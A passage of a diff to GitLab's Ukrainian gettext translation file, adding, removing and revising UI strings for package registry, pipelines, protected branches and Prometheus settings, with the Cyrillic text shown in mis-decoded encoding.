msgstr "ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ"
@@ -19886,6 +19580,9 @@ msgstr "ІÑÑ‚Ð¾Ñ€Ñ–Ñ Ð»Ñ–Ñ†ÐµÐ½Ð·Ñ–Ð¹"
msgid "License ID:"
msgstr "ID ліцензії:"
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr "ПереглÑд ліцензії"
@@ -20121,6 +19818,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20355,6 +20055,15 @@ msgstr "Показувати файл повніÑÑ‚ÑŽ"
msgid "Made this issue confidential."
msgstr "Цю задачу зроблено конфіденційною."
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr "Режим обÑлуговуваннÑ"
@@ -20373,9 +20082,6 @@ msgstr "ПереконайтеÑÑ, що ви його зберегли, бо в
msgid "Makes this issue confidential."
msgstr "Робить цю задачу конфіденційною."
-msgid "Manage"
-msgstr "Керувати"
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20595,9 +20301,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr "МакÑимальний рівень доÑтупу"
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20667,6 +20370,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr "МакÑимальна затримка (хвилини)"
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20688,6 +20394,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr "МакÑимальний розмір Ð´Ð»Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ñƒ (МБ)"
@@ -20700,6 +20409,9 @@ msgstr "МакÑимальний Ñ‡Ð°Ñ Ð¾Ñ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ñ€Ð¾Ð±Ð¾Ñ‚Ð¸ має
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20760,9 +20472,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr "Медіана"
-
msgid "Medium Timeout Period"
msgstr ""
@@ -20923,7 +20632,7 @@ msgid "Memory Usage"
msgstr "ВикориÑÑ‚Ð°Ð½Ð½Ñ Ð¿Ð°Ð¼â€™ÑÑ‚Ñ–"
msgid "Menu"
-msgstr ""
+msgstr "Меню"
msgid "Merge"
msgstr "ЗлиттÑ"
@@ -21541,9 +21250,6 @@ msgstr "напр. зап/Ñек"
msgid "Mi"
msgstr "Мі"
-msgid "Microsoft Azure"
-msgstr "Microsoft Azure"
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21686,9 +21392,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "Етап %{milestoneTitle} не знайдено"
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21947,9 +21650,6 @@ msgstr "Знайдено декілька типів моделей: %{model_typ
msgid "Multiple uploaders found: %{uploader_types}"
msgstr "Знайдено декілька завантажувачів: %{uploader_types}"
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21957,7 +21657,7 @@ msgid "Must match with the %{codeStart}geo_node_name%{codeEnd} in %{codeStart}/e
msgstr ""
msgid "My Awesome Group"
-msgstr ""
+msgstr "ÐœÐ¾Ñ Ð´Ð¸Ð²Ð¾Ð²Ð¸Ð¶Ð½Ð° група"
msgid "My company or team"
msgstr "ÐœÐ¾Ñ ÐºÐ¾Ð¼Ð¿Ð°Ð½Ñ–Ñ Ð°Ð±Ð¾ команда"
@@ -22125,9 +21825,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22176,7 +21873,7 @@ msgstr "Ðазва"
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22233,13 +21930,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22438,9 +22135,6 @@ msgstr "Ðазва нової задачі"
msgid "New iteration"
msgstr "Ðова ітераціÑ"
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr "Створено нову ітерацію"
@@ -22459,7 +22153,7 @@ msgstr "Ðовий етап"
msgid "New password"
msgstr "Ðовий пароль"
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22768,9 +22462,6 @@ msgstr ""
msgid "No repository"
msgstr "Ðемає репозиторію"
-msgid "No required pipeline"
-msgstr "Ðемає необхідного конвеєру"
-
msgid "No runner executable"
msgstr ""
@@ -22957,9 +22648,6 @@ msgstr "Ðічого не знайдено…"
msgid "Nothing to preview."
msgstr "Дані Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ³Ð»Ñду відÑутні."
-msgid "Nothing to synchronize"
-msgstr "Ðічого Ñинхронізувати"
-
msgid "Notification events"
msgstr "ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾ події"
@@ -23102,9 +22790,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr "КількіÑÑ‚ÑŒ %{itemTitle}"
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23742,10 +23427,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23823,6 +23508,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr "Скопіювати команду pip"
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23853,6 +23541,12 @@ msgstr "Скопіювати команду Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ yarn"
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr "Видалити верÑÑ–ÑŽ пакету"
@@ -23877,9 +23571,6 @@ msgstr "Щоб дізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про реєÑÑ‚Ñ€ PyPi, %{linkS
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23931,6 +23622,9 @@ msgstr "Команда NNGet"
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23940,15 +23634,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr "Команда pip"
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23994,6 +23688,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -24024,6 +23724,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ пакет"
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24216,9 +23922,6 @@ msgstr "Призупинити"
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr "Призупинити реплікацію"
-
msgid "Paused"
msgstr ""
@@ -24423,10 +24126,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Ð’Ñього:"
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24438,9 +24141,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24450,16 +24150,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24579,11 +24285,11 @@ msgstr "Редагувати"
msgid "Pipelines|Editor"
msgstr "Редактор"
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
-msgstr "Розпочати роботу з CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
+msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
msgstr ""
@@ -24600,12 +24306,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr "ОÑтанній викориÑтаний"
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24717,9 +24429,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr "Дії"
@@ -24870,14 +24579,14 @@ msgstr "зі Ñтадією"
msgid "Pipeline|with stages"
msgstr "зі ÑтадіÑми"
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
-msgstr "Розділений комами ÑпиÑок гілок, Ñкі будуть автоматично перевірÑтиÑÑ. Залиште порожнім, щоб включити уÑÑ– гілки."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
+msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
-msgstr "API токен Pivotal Tracker."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
+msgstr ""
msgid "Plain diff"
msgstr "ПроÑте порівнÑннÑ"
@@ -24921,12 +24630,12 @@ msgstr "Будь лаÑка, перевірте конфігураційний Ñ
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr "Будь лаÑка, переконайтеÑÑ, що файл конфігурації доÑтупний Ñ– що він Ñ” коректним файлом YAML"
+msgid "Please check your email %{email} to confirm your account"
+msgstr ""
+
msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr "Будь лаÑка, перевірте Ñвою поштову Ñкриньку (%{email}) Ð´Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ñ‚Ð¾Ð³Ð¾, що ви нею володієте, щоб розкрити потенціал CI/CD. Ðе отримали? %{resend_link}. Ðеправильна адреÑа? %{update_link}."
-msgid "Please check your email to confirm your account"
-msgstr ""
-
msgid "Please choose a file"
msgstr ""
@@ -24936,6 +24645,12 @@ msgstr "Будь лаÑка задайте URL групи без ÑпеціалÑ
msgid "Please complete your profile with email address"
msgstr "Будь лаÑка, доповніть Ñвій профіль адреÑою електронної пошти"
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25548,6 +25263,9 @@ msgstr "Редагувати профіль"
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr "Введіть ваше ім'Ñ, щоб люди, Ñких ви знаєте, могли Ð²Ð°Ñ ÑƒÐ¿Ñ–Ð·Ð½Ð°Ñ‚Ð¸"
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25833,9 +25551,6 @@ msgstr "Проєкт \"%{project_name}\" буде видалено %{date}"
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr "Проєктні події аудиту"
-
msgid "Project Badges"
msgstr "Значки проєкту"
@@ -25863,6 +25578,9 @@ msgstr "Проєкт уже було видалено"
msgid "Project and wiki repositories"
msgstr "Репозиторії проєкту та вікі"
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr "Ðватар проєкту"
@@ -25875,9 +25593,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr "ÐžÐ¿Ð¸Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ (необов'Ñзково)"
-msgid "Project details"
-msgstr "Деталі проєкту"
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr "Проєкт не Ñ–Ñнує або ви не маєте прав на Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ Ñ†Ñ–Ñ”Ñ— дії"
@@ -25926,15 +25641,9 @@ msgstr "ÐÐ°Ð²Ñ–Ð³Ð°Ñ†Ñ–Ñ Ð¿Ð¾ проєкту"
msgid "Project order will not be saved as local storage is not available."
msgstr "ПорÑдок проєктів не буде збережено, тому що локальне Ñховище недоÑтупне."
-msgid "Project overview"
-msgstr "ОглÑд проєкту"
-
msgid "Project path"
msgstr "ШлÑÑ… до проєкту"
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr "Стан безпеки проєкту"
@@ -25983,9 +25692,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Ðіколи"
-msgid "ProjectLifecycle|Stage"
-msgstr "СтадіÑ"
-
msgid "ProjectOverview|Fork"
msgstr "Форк"
@@ -26584,7 +26290,7 @@ msgid "ProjectsNew|Allows you to immediately clone this project’s repository.
msgstr "ДозволÑÑ” негайно зклонувати репозиторій цього проєкту. ПропуÑÑ‚Ñ–Ñ‚ÑŒ, Ñкщо ви плануєте розміÑтити тут вже Ñ–Ñнуючий репозиторій."
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
-msgstr ""
+msgstr "Підключіть Ñвій зовнішній репозиторій до GitLab CI/CD."
msgid "ProjectsNew|Contact an administrator to enable options for importing your project."
msgstr "ЗвернітьÑÑ Ð´Ð¾ адмініÑтратора Ð´Ð»Ñ Ð°ÐºÑ‚Ð¸Ð²Ð°Ñ†Ñ–Ñ— варіантів імпорту Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ проєкту."
@@ -26593,17 +26299,14 @@ msgid "ProjectsNew|Create"
msgstr "Створити"
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
-msgstr "Створіть порожній проект Ð´Ð»Ñ Ñ€Ð¾Ð·Ð¼Ñ–Ñ‰ÐµÐ½Ð½Ñ Ñвоїх файлів, Ð¿Ð»Ð°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ñ€Ð¾Ð±Ð¾Ñ‚Ð¸ та Ñпівпраці над кодом."
+msgstr "Створіть порожній проєкт Ð´Ð»Ñ Ñ€Ð¾Ð·Ð¼Ñ–Ñ‰ÐµÐ½Ð½Ñ Ñвоїх файлів, Ð¿Ð»Ð°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ñ€Ð¾Ð±Ð¾Ñ‚Ð¸ та Ñпівпраці над кодом."
msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
+msgstr "Створіть проєкт попередньо заповнений необхідними файлами Ð´Ð»Ñ ÑˆÐ²Ð¸Ð´ÐºÐ¾Ð³Ð¾ Ñтарту."
msgid "ProjectsNew|Create blank project"
msgstr "Створити пуÑтий проєкт"
-msgid "ProjectsNew|Create blank project/repository"
-msgstr "Створити порожній проєкт/репозиторій"
-
msgid "ProjectsNew|Create from template"
msgstr "Створити із шаблону"
@@ -26619,14 +26322,11 @@ msgstr "Імпорт"
msgid "ProjectsNew|Import project"
msgstr "Імпортувати проєкт"
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr "Ініціалізувати репозиторій файлом інÑтрукції (README)"
msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
-msgstr ""
+msgstr "Мігрувати Ñвої дані із зовнішнього джерела, такого Ñк GitHub, Bitbucket чи інший GitLab."
msgid "ProjectsNew|No import options available"
msgstr "Варіанти імпорту не доÑтупні"
@@ -26706,21 +26406,18 @@ msgstr "було знайдено %{exporters} з %{metrics}"
msgid "PrometheusService|Active"
msgstr "Ðктивний"
-msgid "PrometheusService|Auto configuration"
-msgstr "Ðвтоматична конфігураціÑ"
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr "Загальні метрики"
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr "Загальні метрики автоматично збираютьÑÑ Ð½Ð° оÑнові набору метрик від популÑрних екÑпортерів."
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr "ВлаÑні метрики"
@@ -26736,18 +26433,9 @@ msgstr "Пошук та Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¼ÐµÑ‚Ñ€Ð¸Ðº..."
msgid "PrometheusService|Finding custom metrics..."
msgstr "Пошук влаÑних метрик..."
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr "Ð’Ñтановити Prometheus на клаÑтери"
-
msgid "PrometheusService|Manage clusters"
msgstr "Ð£Ð¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ ÐºÐ»Ð°Ñтерами"
@@ -26763,9 +26451,6 @@ msgstr "Пропущена змінна Ñередовища"
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr "Додаткова інформаціÑ"
@@ -26778,6 +26463,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr "Жодної влаÑної метрики не було Ñтворено. Створюйте Ñ—Ñ… за допомогою наÑтупної кнопки"
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26793,7 +26481,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr "Ці метрики будуть збиратиÑÑ Ñ‚Ñ–Ð»ÑŒÐºÐ¸ піÑÐ»Ñ Ð¿ÐµÑ€ÑˆÐ¾Ð³Ð¾ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð² ÑкомуÑÑŒ Ñеридовищі"
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26802,6 +26490,9 @@ msgstr "ÐžÑ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð¿ÐµÑ€ÑˆÐ¾Ð³Ð¾ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ñƒ Ñерид
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr "https://prometheus.example.com/"
@@ -26811,9 +26502,6 @@ msgstr ""
msgid "Promote"
msgstr "ПеренеÑти"
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr "Перетворити задачу на епік"
@@ -26832,9 +26520,6 @@ msgstr "Проект не належить жодній групі."
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr "ПеренеÑÐµÐ½Ð½Ñ Ð½ÐµÐ²Ð´Ð°Ð»Ðµ: %{message}"
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr "Задачу перетворено на епік."
@@ -26958,13 +26643,16 @@ msgstr "Захищені Ñередовища"
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26985,12 +26673,21 @@ msgstr "Гілка"
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr "Ð—Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ð»Ð°Ñника коду"
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr "ЗахиÑтити"
@@ -27000,6 +26697,9 @@ msgstr "ЗахиÑтити гілку"
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr "Захищена гілка (%{protected_branches_count})"
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -27009,12 +26709,15 @@ msgstr "Вимагати Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ñ–Ð´ влаÑників ко
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr "Ðаразі немає захищених гілок, захиÑÑ‚Ñ–Ñ‚ÑŒ гілку за допомогою форми вище."
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr "Увімкнути/вимкнути Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ð»Ð°Ñниками коду"
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} буде доÑупне Ð´Ð»Ñ Ð·Ð°Ð¿Ð¸Ñу Ð´Ð»Ñ Ñ€Ð¾Ð·Ñ€Ð¾Ð±Ð½Ð¸ÐºÑ–Ð². Ви впевнені?"
@@ -27060,18 +26763,30 @@ msgstr "Ваше Ñередовище було захищено."
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr "ЗахиÑÑ‚ із вашого Ñередовища було знÑто"
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Protocol"
-msgstr "Протокол"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr "ПоÑтачальник"
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27478,6 +27193,9 @@ msgstr ""
